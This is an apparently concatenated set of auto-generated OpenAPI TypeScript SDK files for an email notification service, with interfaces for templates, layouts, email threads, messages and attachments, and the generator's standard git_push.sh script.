* @memberof NotificationTemplateClass
*/
'createdAt': string;
/**
* Template updated at
* @type {string}
* @memberof NotificationTemplateClass
*/
'updatedAt': string;
/**
* Email sent to
* @type {string}
* @memberof NotificationTemplateClass
*/
'defaultEmailTo': string;
/**
* Email cc to
* @type {string}
* @memberof NotificationTemplateClass
*/
'defaultEmailCc': string;
/**
* Email bcc to
* @type {string}
* @memberof NotificationTemplateClass
*/
'defaultEmailBcc': string;
/**
* Email subject
* @type {string}
* @memberof NotificationTemplateClass
*/
'defaultEmailSubject': string;
}
"use strict";
/* tslint:disable */
/* eslint-disable */
/**
* EMIL NotificationService
* The EMIL NotificationService API description
*
* The version of the OpenAPI document: 1.0
* Contact: kontakt@emil.de
*
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
* https://openapi-generator.tech
* Do not edit the class manually.
*/
Object.defineProperty(exports, "__esModule", { value: true });
/**
* EMIL NotificationService
* The EMIL NotificationService API description
*
* The version of the OpenAPI document: 1.0
* Contact: kontakt@emil.de
*
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
* https://openapi-generator.tech
* Do not edit the class manually.
*/
/**
*
* @export
* @interface S3DocumentDto
*/
export interface S3DocumentDto {
/**
*
* @type {string}
* @memberof S3DocumentDto
*/
'bucket'?: string;
/**
*
* @type {string}
* @memberof S3DocumentDto
*/
'key': string;
/**
*
* @type {string}
* @memberof S3DocumentDto
*/
'filename'?: string;
}
"use strict";
/* tslint:disable */
/* eslint-disable */
/**
* EMIL NotificationService
* The EMIL NotificationService API description
*
* The version of the OpenAPI document: 1.0
* Contact: kontakt@emil.de
*
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
* https://openapi-generator.tech
* Do not edit the class manually.
*/
Object.defineProperty(exports, "__esModule", { value: true });
/**
* EMIL NotificationService
* The EMIL NotificationService API description
*
* The version of the OpenAPI document: 1.0
* Contact: kontakt@emil.de
*
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
* https://openapi-generator.tech
* Do not edit the class manually.
*/
import { S3DocumentDto } from './s3-document-dto';
/**
*
* @export
* @interface SendNotificationRequestDto
*/
export interface SendNotificationRequestDto {
/**
* Unique identifying slug from template to be used for the email
* @type {string}
* @memberof SendNotificationRequestDto
*/
'templateSlug': string;
/**
* Subject of the email
* @type {string}
* @memberof SendNotificationRequestDto
*/
'emailSubject'?: string;
/**
* Email address of the sender
* @type {string}
* @memberof SendNotificationRequestDto
*/
'emailSender'?: string;
/**
* Email address of the reciever
* @type {Array<string>}
* @memberof SendNotificationRequestDto
*/
'emailTo': Array<string>;
/**
* Email addresses of the reciepents who will be recieving copy of the email
* @type {Array<string>}
* @memberof SendNotificationRequestDto
*/
'emailCc': Array<string>;
/**
* Email addresses of the reciepents who will be recieving copy of the email without of them knowing who else recieved the copy
* @type {Array<string>}
* @memberof SendNotificationRequestDto
*/
'emailBcc': Array<string>;
/**
* Attachments for the email. Any attachement has to be uploaded to S3 first before being sent.
* @type {Array<S3DocumentDto>}
* @memberof SendNotificationRequestDto
*/
'attachments': Array<S3DocumentDto>;
/**
* It is possible to use the product slug to fetch a different senderEmail from the tenant settings. It should be in the form of productSlug_sender-email
* @type {string}
* @memberof SendNotificationRequestDto
*/
'productSlug'?: string;
/**
* Payload is used by the template engine to replace all template variables with proper data. For more information, please go to https://github.com/flosch/pongo2.
* @type {object}
* @memberof SendNotificationRequestDto
*/
'payload': object;
/**
* Entity type for email reply tracking.
* @type {string}
* @memberof SendNotificationRequestDto
*/
'entityType'?: SendNotificationRequestDtoEntityTypeEnum;
/**
* Entity code for email reply tracking
* @type {string}
* @memberof SendNotificationRequestDto
*/
'entityCode'?: string;
/**
* Reply-To address for email reply tracking. Auto-generated when entityType and entityCode are provided.
* @type {string}
* @memberof SendNotificationRequestDto
*/
'replyTo'?: string;
/**
* Custom Message-ID header. Auto-generated if not provided.
* @type {string}
* @memberof SendNotificationRequestDto
*/
'customMessageId'?: string;
/**
* Message-ID of the email this is replying to (for threading)
* @type {string}
* @memberof SendNotificationRequestDto
*/
'inReplyTo'?: string;
/**
* Message-IDs for email thread chain
* @type {Array<string>}
* @memberof SendNotificationRequestDto
*/
'references': Array<string>;
}
export declare const SendNotificationRequestDtoEntityTypeEnum: {
readonly Claim: "Claim";
readonly Policy: "Policy";
readonly Lead: "Lead";
};
export type SendNotificationRequestDtoEntityTypeEnum = typeof SendNotificationRequestDtoEntityTypeEnum[keyof typeof SendNotificationRequestDtoEntityTypeEnum];
"use strict";
/* tslint:disable */
/* eslint-disable */
/**
* EMIL NotificationService
* The EMIL NotificationService API description
*
* The version of the OpenAPI document: 1.0
* Contact: kontakt@emil.de
*
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
* https://openapi-generator.tech
* Do not edit the class manually.
*/
Object.defineProperty(exports, "__esModule", { value: true });
exports.SendNotificationRequestDtoEntityTypeEnum = void 0;
exports.SendNotificationRequestDtoEntityTypeEnum = {
Claim: 'Claim',
Policy: 'Policy',
Lead: 'Lead'
};
/**
* EMIL NotificationService
* The EMIL NotificationService API description
*
* The version of the OpenAPI document: 1.0
* Contact: kontakt@emil.de
*
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
* https://openapi-generator.tech
* Do not edit the class manually.
*/
/**
*
* @export
* @interface SendNotificationResponseClass
*/
export interface SendNotificationResponseClass {
/**
* Notification request code
* @type {string}
* @memberof SendNotificationResponseClass
*/
'code': string;
}
"use strict";
/* tslint:disable */
/* eslint-disable */
/**
* EMIL NotificationService
* The EMIL NotificationService API description
*
* The version of the OpenAPI document: 1.0
* Contact: kontakt@emil.de
*
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
* https://openapi-generator.tech
* Do not edit the class manually.
*/
Object.defineProperty(exports, "__esModule", { value: true });
/**
* EMIL NotificationService
* The EMIL NotificationService API description
*
* The version of the OpenAPI document: 1.0
* Contact: kontakt@emil.de
*
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
* https://openapi-generator.tech
* Do not edit the class manually.
*/
/**
*
* @export
* @interface UpdateHtmlTemplateRequestDto
*/
export interface UpdateHtmlTemplateRequestDto {
/**
*
* @type {number}
* @memberof UpdateHtmlTemplateRequestDto
*/
'id': number;
/**
*
* @type {string}
* @memberof UpdateHtmlTemplateRequestDto
*/
'type': UpdateHtmlTemplateRequestDtoTypeEnum;
/**
*
* @type {string}
* @memberof UpdateHtmlTemplateRequestDto
*/
'draftContent': string;
}
export declare const UpdateHtmlTemplateRequestDtoTypeEnum: {
readonly Header: "header";
readonly Footer: "footer";
readonly Body: "body";
};
export type UpdateHtmlTemplateRequestDtoTypeEnum = typeof UpdateHtmlTemplateRequestDtoTypeEnum[keyof typeof UpdateHtmlTemplateRequestDtoTypeEnum];
"use strict";
/* tslint:disable */
/* eslint-disable */
/**
* EMIL NotificationService
* The EMIL NotificationService API description
*
* The version of the OpenAPI document: 1.0
* Contact: kontakt@emil.de
*
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
* https://openapi-generator.tech
* Do not edit the class manually.
*/
Object.defineProperty(exports, "__esModule", { value: true });
exports.UpdateHtmlTemplateRequestDtoTypeEnum = void 0;
exports.UpdateHtmlTemplateRequestDtoTypeEnum = {
Header: 'header',
Footer: 'footer',
Body: 'body'
};
/**
* EMIL NotificationService
* The EMIL NotificationService API description
*
* The version of the OpenAPI document: 1.0
* Contact: kontakt@emil.de
*
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
* https://openapi-generator.tech
* Do not edit the class manually.
*/
import { UpdateHtmlTemplateRequestDto } from './update-html-template-request-dto';
/**
*
* @export
* @interface UpdateLayoutRequestDto
*/
export interface UpdateLayoutRequestDto {
/**
* Layout id
* @type {number}
* @memberof UpdateLayoutRequestDto
*/
'id': number;
/**
* Layout name
* @type {string}
* @memberof UpdateLayoutRequestDto
*/
'name': string;
/**
* Layout slug
* @type {string}
* @memberof UpdateLayoutRequestDto
*/
'slug': string;
/**
* Layout style
* @type {string}
* @memberof UpdateLayoutRequestDto
*/
'style': string;
/**
*
* @type {UpdateHtmlTemplateRequestDto}
* @memberof UpdateLayoutRequestDto
*/
'headerTemplate': UpdateHtmlTemplateRequestDto;
/**
*
* @type {UpdateHtmlTemplateRequestDto}
* @memberof UpdateLayoutRequestDto
*/
'footerTemplate': UpdateHtmlTemplateRequestDto;
}
"use strict";
/* tslint:disable */
/* eslint-disable */
/**
* EMIL NotificationService
* The EMIL NotificationService API description
*
* The version of the OpenAPI document: 1.0
* Contact: kontakt@emil.de
*
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
* https://openapi-generator.tech
* Do not edit the class manually.
*/
Object.defineProperty(exports, "__esModule", { value: true });
/**
* EMIL NotificationService
* The EMIL NotificationService API description
*
* The version of the OpenAPI document: 1.0
* Contact: kontakt@emil.de
*
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
* https://openapi-generator.tech
* Do not edit the class manually.
*/
import { LayoutClass } from './layout-class';
/**
*
* @export
* @interface UpdateLayoutResponseClass
*/
export interface UpdateLayoutResponseClass {
/**
* Layout
* @type {LayoutClass}
* @memberof UpdateLayoutResponseClass
*/
'layout': LayoutClass;
}
"use strict";
/* tslint:disable */
/* eslint-disable */
/**
* EMIL NotificationService
* The EMIL NotificationService API description
*
* The version of the OpenAPI document: 1.0
* Contact: kontakt@emil.de
*
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
* https://openapi-generator.tech
* Do not edit the class manually.
*/
Object.defineProperty(exports, "__esModule", { value: true });
/**
* EMIL NotificationService
* The EMIL NotificationService API description
*
* The version of the OpenAPI document: 1.0
* Contact: kontakt@emil.de
*
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
* https://openapi-generator.tech
* Do not edit the class manually.
*/
import { UpdateHtmlTemplateRequestDto } from './update-html-template-request-dto';
/**
*
* @export
* @interface UpdateNotificationTemplateRequestDto
*/
export interface UpdateNotificationTemplateRequestDto {
/**
*
* @type {number}
* @memberof UpdateNotificationTemplateRequestDto
*/
'id': number;
/**
*
* @type {string}
* @memberof UpdateNotificationTemplateRequestDto
*/
'name': string;
/**
*
* @type {string}
* @memberof UpdateNotificationTemplateRequestDto
*/
'slug': string;
/**
*
* @type {number}
* @memberof UpdateNotificationTemplateRequestDto
*/
'layoutId': number;
/**
*
* @type {UpdateHtmlTemplateRequestDto}
* @memberof UpdateNotificationTemplateRequestDto
*/
'bodyTemplate': UpdateHtmlTemplateRequestDto;
/**
*
* @type {string}
* @memberof UpdateNotificationTemplateRequestDto
*/
'defaultEmailTo'?: string;
/**
*
* @type {string}
* @memberof UpdateNotificationTemplateRequestDto
*/
'defaultEmailCc'?: string;
/**
*
* @type {string}
* @memberof UpdateNotificationTemplateRequestDto
*/
'defaultEmailBcc'?: string;
/**
*
* @type {string}
* @memberof UpdateNotificationTemplateRequestDto
*/
'defaultEmailSubject'?: string;
}
"use strict";
/* tslint:disable */
/* eslint-disable */
/**
* EMIL NotificationService
* The EMIL NotificationService API description
*
* The version of the OpenAPI document: 1.0
* Contact: kontakt@emil.de
*
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
* https://openapi-generator.tech
* Do not edit the class manually.
*/
Object.defineProperty(exports, "__esModule", { value: true });
/**
* EMIL NotificationService
* The EMIL NotificationService API description
*
* The version of the OpenAPI document: 1.0
* Contact: kontakt@emil.de
*
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
* https://openapi-generator.tech
* Do not edit the class manually.
*/
import { NotificationTemplateClass } from './notification-template-class';
/**
*
* @export
* @interface UpdateNotificationTemplateResponseClass
*/
export interface UpdateNotificationTemplateResponseClass {
/**
* Notification template
* @type {NotificationTemplateClass}
* @memberof UpdateNotificationTemplateResponseClass
*/
'template': NotificationTemplateClass;
}
"use strict";
/* tslint:disable */
/* eslint-disable */
/**
* EMIL NotificationService
* The EMIL NotificationService API description
*
* The version of the OpenAPI document: 1.0
* Contact: kontakt@emil.de
*
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
* https://openapi-generator.tech
* Do not edit the class manually.
*/
Object.defineProperty(exports, "__esModule", { value: true });
#!/bin/sh
# ref: https://help.github.com/articles/adding-an-existing-project-to-github-using-the-command-line/
#
# Usage example: /bin/sh ./git_push.sh wing328 openapi-petstore-perl "minor update" "gitlab.com"
git_user_id=$1
git_repo_id=$2
release_note=$3
git_host=$4
if [ "$git_host" = "" ]; then
git_host="github.com"
echo "[INFO] No command line input provided. Set \$git_host to $git_host"
fi
if [ "$git_user_id" = "" ]; then
git_user_id="Emil"
echo "[INFO] No command line input provided. Set \$git_user_id to $git_user_id"
fi
if [ "$git_repo_id" = "" ]; then
git_repo_id="notification-sdk-node"
echo "[INFO] No command line input provided. Set \$git_repo_id to $git_repo_id"
fi
if [ "$release_note" = "" ]; then
release_note="Minor update"
echo "[INFO] No command line input provided. Set \$release_note to $release_note"
fi
# Initialize the local directory as a Git repository
git init
# Adds the files in the local repository and stages them for commit.
git add .
# Commits the tracked changes and prepares them to be pushed to a remote repository.
git commit -m "$release_note"
# Sets the new remote
git_remote=$(git remote)
if [ "$git_remote" = "" ]; then # git remote not defined
if [ "$GIT_TOKEN" = "" ]; then
echo "[INFO] \$GIT_TOKEN (environment variable) is not set. Using the git credential in your environment."
git remote add origin https://${git_host}/${git_user_id}/${git_repo_id}.git
else
git remote add origin https://${git_user_id}:"${GIT_TOKEN}"@${git_host}/${git_user_id}/${git_repo_id}.git
fi
fi
git pull origin master
# Pushes (Forces) the changes in the local repository up to the remote repository
echo "Git pushing to https://${git_host}/${git_user_id}/${git_repo_id}.git"
git push origin master 2>&1 | grep -v 'To https'
/* tslint:disable */
/* eslint-disable */
/**
* EMIL NotificationService
* The EMIL NotificationService API description
*
* The version of the OpenAPI document: 1.0
* Contact: kontakt@emil.de
*
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
* https://openapi-generator.tech
* Do not edit the class manually.
*/
export { Environment, BaseAPI } from "./base";
export * from "./api";
export * from "./configuration";
export * from "./models";
/* tslint:disable */
/* eslint-disable */
/**
* EMIL NotificationService
* The EMIL NotificationService API description
*
* The version of the OpenAPI document: 1.0
* Contact: kontakt@emil.de
*
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
* https://openapi-generator.tech
* Do not edit the class manually.
*/
/**
*
* @export
* @interface CompleteEmailVerificationDto
*/
export interface CompleteEmailVerificationDto {
/**
* User email
* @type {string}
* @memberof CompleteEmailVerificationDto
*/
'email': string;
/**
* Confirmation token
* @type {string}
* @memberof CompleteEmailVerificationDto
*/
'token': string;
}
/* tslint:disable */
/* eslint-disable */
/**
* EMIL NotificationService
* The EMIL NotificationService API description
*
* The version of the OpenAPI document: 1.0
* Contact: kontakt@emil.de
*
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
* https://openapi-generator.tech
* Do not edit the class manually.
*/
/**
*
* @export
* @interface CompleteEmailVerificationResponseClass
*/
export interface CompleteEmailVerificationResponseClass {
/**
* Complete verification result
* @type {boolean}
* @memberof CompleteEmailVerificationResponseClass
*/
'result': boolean;
}
/* tslint:disable */
/* eslint-disable */
/**
* EMIL NotificationService
* The EMIL NotificationService API description
*
* The version of the OpenAPI document: 1.0
* Contact: kontakt@emil.de
*
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
* https://openapi-generator.tech
* Do not edit the class manually.
*/
/**
*
* @export
* @interface CreateLayoutRequestDto
*/
export interface CreateLayoutRequestDto {
/**
*
* @type {string}
* @memberof CreateLayoutRequestDto
*/
'name': string;
/**
*
* @type {string}
* @memberof CreateLayoutRequestDto
*/
'slug': string;
/**
*
* @type {string}
* @memberof CreateLayoutRequestDto
*/
'headerTemplate': string;
/**
*
* @type {string}
* @memberof CreateLayoutRequestDto
*/
'footerTemplate': string;
/**
*
* @type {string}
* @memberof CreateLayoutRequestDto
*/
'style': string;
}
/* tslint:disable */
/* eslint-disable */
/**
* EMIL NotificationService
* The EMIL NotificationService API description
*
* The version of the OpenAPI document: 1.0
* Contact: kontakt@emil.de
*
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
* https://openapi-generator.tech
* Do not edit the class manually.
*/
import { LayoutClass } from './layout-class';
/**
*
* @export
* @interface CreateLayoutResponseClass
*/
export interface CreateLayoutResponseClass {
/**
* Layout
* @type {LayoutClass}
* @memberof CreateLayoutResponseClass
*/
'layout': LayoutClass;
}
/* tslint:disable */
/* eslint-disable */
/**
* EMIL NotificationService
* The EMIL NotificationService API description
*
* The version of the OpenAPI document: 1.0
* Contact: kontakt@emil.de
*
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
* https://openapi-generator.tech
* Do not edit the class manually.
*/
/**
*
* @export
* @interface CreateNotificationTemplateRequestDto
*/
export interface CreateNotificationTemplateRequestDto {
/**
*
* @type {string}
* @memberof CreateNotificationTemplateRequestDto
*/
'name': string;
/**
*
* @type {string}
* @memberof CreateNotificationTemplateRequestDto
*/
'slug': string;
/**
*
* @type {string}
* @memberof CreateNotificationTemplateRequestDto
*/
'bodyTemplate': string;
/**
*
* @type {number}
* @memberof CreateNotificationTemplateRequestDto
*/
'layoutId': number;
/**
*
* @type {string}
* @memberof CreateNotificationTemplateRequestDto
*/
'defaultEmailTo'?: string;
/**
*
* @type {string}
* @memberof CreateNotificationTemplateRequestDto
*/
'defaultEmailCc'?: string;
/**
*
* @type {string}
* @memberof CreateNotificationTemplateRequestDto
*/
'defaultEmailBcc'?: string;
/**
*
* @type {string}
* @memberof CreateNotificationTemplateRequestDto
*/
'defaultEmailSubject'?: string;
}
/* tslint:disable */
/* eslint-disable */
/**
* EMIL NotificationService
* The EMIL NotificationService API description
*
* The version of the OpenAPI document: 1.0
* Contact: kontakt@emil.de
*
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
* https://openapi-generator.tech
* Do not edit the class manually.
*/
import { NotificationTemplateClass } from './notification-template-class';
/**
*
* @export
* @interface CreateNotificationTemplateResponseClass
*/
export interface CreateNotificationTemplateResponseClass {
/**
* Template
* @type {NotificationTemplateClass}
* @memberof CreateNotificationTemplateResponseClass
*/
'template': NotificationTemplateClass;
}
/* tslint:disable */
/* eslint-disable */
/**
* EMIL NotificationService
* The EMIL NotificationService API description
*
* The version of the OpenAPI document: 1.0
* Contact: kontakt@emil.de
*
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
* https://openapi-generator.tech
* Do not edit the class manually.
*/
/**
*
* @export
* @interface DeleteLayoutRequestDto
*/
export interface DeleteLayoutRequestDto {
/**
* Layout id
* @type {number}
* @memberof DeleteLayoutRequestDto
*/
'id': number;
}
/* tslint:disable */
/* eslint-disable */
/**
* EMIL NotificationService
* The EMIL NotificationService API description
*
* The version of the OpenAPI document: 1.0
* Contact: kontakt@emil.de
*
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
* https://openapi-generator.tech
* Do not edit the class manually.
*/
/**
*
* @export
* @interface DeleteNotificationTemplateRequestDto
*/
export interface DeleteNotificationTemplateRequestDto {
/**
*
* @type {number}
* @memberof DeleteNotificationTemplateRequestDto
*/
'id': number;
}
/* tslint:disable */
/* eslint-disable */
/**
* EMIL NotificationService
* The EMIL NotificationService API description
*
* The version of the OpenAPI document: 1.0
* Contact: kontakt@emil.de
*
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
* https://openapi-generator.tech
* Do not edit the class manually.
*/
/**
*
* @export
* @interface DownloadAttachmentResponseClass
*/
export interface DownloadAttachmentResponseClass {
/**
* Presigned S3 URL for downloading the attachment
* @type {string}
* @memberof DownloadAttachmentResponseClass
*/
'url': string;
/**
* Original filename of the attachment
* @type {string}
* @memberof DownloadAttachmentResponseClass
*/
'filename': string;
/**
* MIME content type of the attachment
* @type {string}
* @memberof DownloadAttachmentResponseClass
*/
'contentType': string;
}
/* tslint:disable */
/* eslint-disable */
/**
* EMIL NotificationService
* The EMIL NotificationService API description
*
* The version of the OpenAPI document: 1.0
* Contact: kontakt@emil.de
*
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
* https://openapi-generator.tech
* Do not edit the class manually.
*/
/**
*
* @export
* @interface EmailAttachmentClass
*/
export interface EmailAttachmentClass {
/**
* Internal unique identifier for the object. You should not have to use this, use code instead.
* @type {number}
* @memberof EmailAttachmentClass
*/
'id': number;
/**
* Unique identifier code for the attachment
* @type {string}
* @memberof EmailAttachmentClass
*/
'code': string;
/**
* Message code this attachment belongs to
* @type {string}
* @memberof EmailAttachmentClass
*/
'messageCode': string;
/**
* Original filename of the attachment
* @type {string}
* @memberof EmailAttachmentClass
*/
'filename': string;
/**
* MIME content type
* @type {string}
* @memberof EmailAttachmentClass
*/
'contentType'?: string;
/**
* Size of the attachment in bytes
* @type {number}
* @memberof EmailAttachmentClass
*/
'sizeBytes'?: number;
/**
* S3 bucket where the attachment is stored
* @type {string}
* @memberof EmailAttachmentClass
*/
's3Bucket': string;
/**
* S3 key of the attachment
* @type {string}
* @memberof EmailAttachmentClass
*/
's3Key': string;
/**
* User who created this attachment
* @type {string}
* @memberof EmailAttachmentClass
*/
'createdBy': string;
/**
* User who last updated this attachment
* @type {string}
* @memberof EmailAttachmentClass
*/
'updatedBy': string;
/**
* Timestamp when the attachment was created
* @type {string}
* @memberof EmailAttachmentClass
*/
'createdAt': string;
}
/* tslint:disable */
/* eslint-disable */
/**
* EMIL NotificationService
* The EMIL NotificationService API description
*
* The version of the OpenAPI document: 1.0
* Contact: kontakt@emil.de
*
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
* https://openapi-generator.tech
* Do not edit the class manually.
*/
import { EmailAttachmentClass } from './email-attachment-class';
/**
*
* @export
* @interface EmailMessageClass
*/
export interface EmailMessageClass {
/**
* Internal unique identifier for the object. You should not have to use this, use code instead.
* @type {number}
* @memberof EmailMessageClass
*/
'id': number;
/**
* Unique identifier code for the email message
* @type {string}
* @memberof EmailMessageClass
*/
'code': string;
/**
* Thread code this message belongs to
* @type {string}
* @memberof EmailMessageClass
*/
'threadCode': string;
/**
* Direction of the email
* @type {string}
* @memberof EmailMessageClass
*/
'direction': EmailMessageClassDirectionEnum;
/**
* Sender email address
* @type {string}
* @memberof EmailMessageClass
*/
'fromAddress': string;
/**
* Recipient email addresses
* @type {string}
* @memberof EmailMessageClass
*/
'toAddresses': string;
/**
* CC email addresses
* @type {string}
* @memberof EmailMessageClass
*/
'ccAddresses'?: string;
/**
* Email subject
* @type {string}
* @memberof EmailMessageClass
*/
'subject'?: string;
/**
* Plain text body of the email
* @type {string}
* @memberof EmailMessageClass
*/
'bodyText'?: string;
/**
* HTML body of the email
* @type {string}
* @memberof EmailMessageClass
*/
'bodyHtml'?: string;
/**
* Delivery status of the email
* @type {string}
* @memberof EmailMessageClass
*/
'deliveryStatus': EmailMessageClassDeliveryStatusEnum;
/**
* Message-ID header value
* @type {string}
* @memberof EmailMessageClass
*/
'messageIdHeader'?: string;
/**
* Timestamp when the email was sent
* @type {string}
* @memberof EmailMessageClass
*/
'sentAt'?: string;
/**
* Timestamp when the email was received
* @type {string}
* @memberof EmailMessageClass
*/
'receivedAt'?: string;
/**
* User who created this message
* @type {string}
* @memberof EmailMessageClass
*/
'createdBy': string;
/**
* User who last updated this message
* @type {string}
* @memberof EmailMessageClass
*/
'updatedBy': string;
/**
* Created at timestamp
* @type {string}
* @memberof EmailMessageClass
*/
'createdAt': string;
/**
* Updated at timestamp
* @type {string}
* @memberof EmailMessageClass
*/
'updatedAt': string;
/**
* Attachments on this message
* @type {Array<EmailAttachmentClass>}
* @memberof EmailMessageClass
*/
'attachments': Array<EmailAttachmentClass>;
/**
* Entity type this message is associated with
* @type {string}
* @memberof EmailMessageClass
*/
'entityType': string;
/**
* Entity code this message is associated with
* @type {string}
* @memberof EmailMessageClass
*/
'entityCode': string;
}
export const EmailMessageClassDirectionEnum = {
Outbound: 'outbound',
Inbound: 'inbound'
} as const;
export type EmailMessageClassDirectionEnum = typeof EmailMessageClassDirectionEnum[keyof typeof EmailMessageClassDirectionEnum];
export const EmailMessageClassDeliveryStatusEnum = {
Pending: 'pending',
Sent: 'sent',
Delivered: 'delivered',
Bounced: 'bounced',
Failed: 'failed'
} as const;
export type EmailMessageClassDeliveryStatusEnum = typeof EmailMessageClassDeliveryStatusEnum[keyof typeof EmailMessageClassDeliveryStatusEnum];
/* tslint:disable */
/* eslint-disable */
/**
* EMIL NotificationService
* The EMIL NotificationService API description
*
* The version of the OpenAPI document: 1.0
* Contact: kontakt@emil.de
*
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
* https://openapi-generator.tech
* Do not edit the class manually.
*/
/**
*
* @export
* @interface EmailThreadClass
*/
export interface EmailThreadClass {
/**
* Internal unique identifier for the object. You should not have to use this, use code instead.
* @type {number}
* @memberof EmailThreadClass
*/
'id': number;
/**
* Unique identifier code for the email thread
* @type {string}
* @memberof EmailThreadClass
*/
'code': string;
/**
* Entity type associated with this thread
* @type {string}
* @memberof EmailThreadClass
*/
'entityType': string;
/**
* Entity code associated with this thread
* @type {string}
* @memberof EmailThreadClass
*/
'entityCode': string;
/**
* Email subject of the thread
* @type {string}
* @memberof EmailThreadClass
*/
'subject'?: string;
/**
* Thread status
* @type {string}
* @memberof EmailThreadClass
*/
'status': EmailThreadClassStatusEnum;
/**
* User who created this thread
* @type {string}
* @memberof EmailThreadClass
*/
'createdBy': string;
/**
* User who last updated this thread
* @type {string}
* @memberof EmailThreadClass
*/
'updatedBy': string;
/**
* Created at timestamp
* @type {string}
* @memberof EmailThreadClass
*/
'createdAt': string;
/**
* Updated at timestamp
* @type {string}
* @memberof EmailThreadClass
*/
'updatedAt': string;
}
export const EmailThreadClassStatusEnum = {
Open: 'open',
Closed: 'closed'
} as const;
export type EmailThreadClassStatusEnum = typeof EmailThreadClassStatusEnum[keyof typeof EmailThreadClassStatusEnum];
/* tslint:disable */
/* eslint-disable */
/**
* EMIL NotificationService
* The EMIL NotificationService API description
*
* The version of the OpenAPI document: 1.0
* Contact: kontakt@emil.de
*
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
* https://openapi-generator.tech
* Do not edit the class manually.
*/
import { EmailMessageClass } from './email-message-class';
/**
*
* @export
* @interface GetEmailMessageResponseClass
*/
export interface GetEmailMessageResponseClass {
/**
* The email message response.
* @type {EmailMessageClass}
* @memberof GetEmailMessageResponseClass
*/
'message': EmailMessageClass;
}
/* tslint:disable */
/* eslint-disable */
/**
* EMIL NotificationService
* The EMIL NotificationService API description
*
* The version of the OpenAPI document: 1.0
* Contact: kontakt@emil.de
*
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
* https://openapi-generator.tech
* Do not edit the class manually.
*/
import { EmailThreadClass } from './email-thread-class';
/**
*
* @export
* @interface GetEmailThreadResponseClass
*/
export interface GetEmailThreadResponseClass {
/**
* The email thread response.
* @type {EmailThreadClass}
* @memberof GetEmailThreadResponseClass
*/
'thread': EmailThreadClass;
}
/* tslint:disable */
/* eslint-disable */
/**
* EMIL NotificationService
* The EMIL NotificationService API description
*
* The version of the OpenAPI document: 1.0
* Contact: kontakt@emil.de
*
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
* https://openapi-generator.tech
* Do not edit the class manually.
*/
/**
*
* @export
* @interface GetLayoutRequestDto
*/
export interface GetLayoutRequestDto {
/**
* Layout id
* @type {number}
* @memberof GetLayoutRequestDto
*/
'id': number;
}
/* tslint:disable */
/* eslint-disable */
/**
* EMIL NotificationService
* The EMIL NotificationService API description
*
* The version of the OpenAPI document: 1.0
* Contact: kontakt@emil.de
*
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
* https://openapi-generator.tech
* Do not edit the class manually.
*/
import { LayoutClass } from './layout-class';
/**
*
* @export
* @interface GetLayoutResponseClass
*/
export interface GetLayoutResponseClass {
/**
* Layout
* @type {LayoutClass}
* @memberof GetLayoutResponseClass
*/
'layout': LayoutClass;
}
/* tslint:disable */
/* eslint-disable */
/**
* EMIL NotificationService
* The EMIL NotificationService API description
*
* The version of the OpenAPI document: 1.0
* Contact: kontakt@emil.de
*
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
* https://openapi-generator.tech
* Do not edit the class manually.
*/
/**
*
* @export
* @interface GetNotificationTemplateRequestDto
*/
export interface GetNotificationTemplateRequestDto {
/**
*
* @type {number}
* @memberof GetNotificationTemplateRequestDto
*/
'id': number;
/**
*
* @type {string}
* @memberof GetNotificationTemplateRequestDto
*/
'expand'?: string;
}
/* tslint:disable */
/* eslint-disable */
/**
* EMIL NotificationService
* The EMIL NotificationService API description
*
* The version of the OpenAPI document: 1.0
* Contact: kontakt@emil.de
*
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
* https://openapi-generator.tech
* Do not edit the class manually.
*/
import { NotificationTemplateClass } from './notification-template-class';
/**
*
* @export
* @interface GetNotificationTemplateResponseClass
*/
export interface GetNotificationTemplateResponseClass {
/**
* Template
* @type {NotificationTemplateClass}
* @memberof GetNotificationTemplateResponseClass
*/
'template': NotificationTemplateClass;
}
/* tslint:disable */
/* eslint-disable */
/**
* EMIL NotificationService
* The EMIL NotificationService API description
*
* The version of the OpenAPI document: 1.0
* Contact: kontakt@emil.de
*
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
* https://openapi-generator.tech
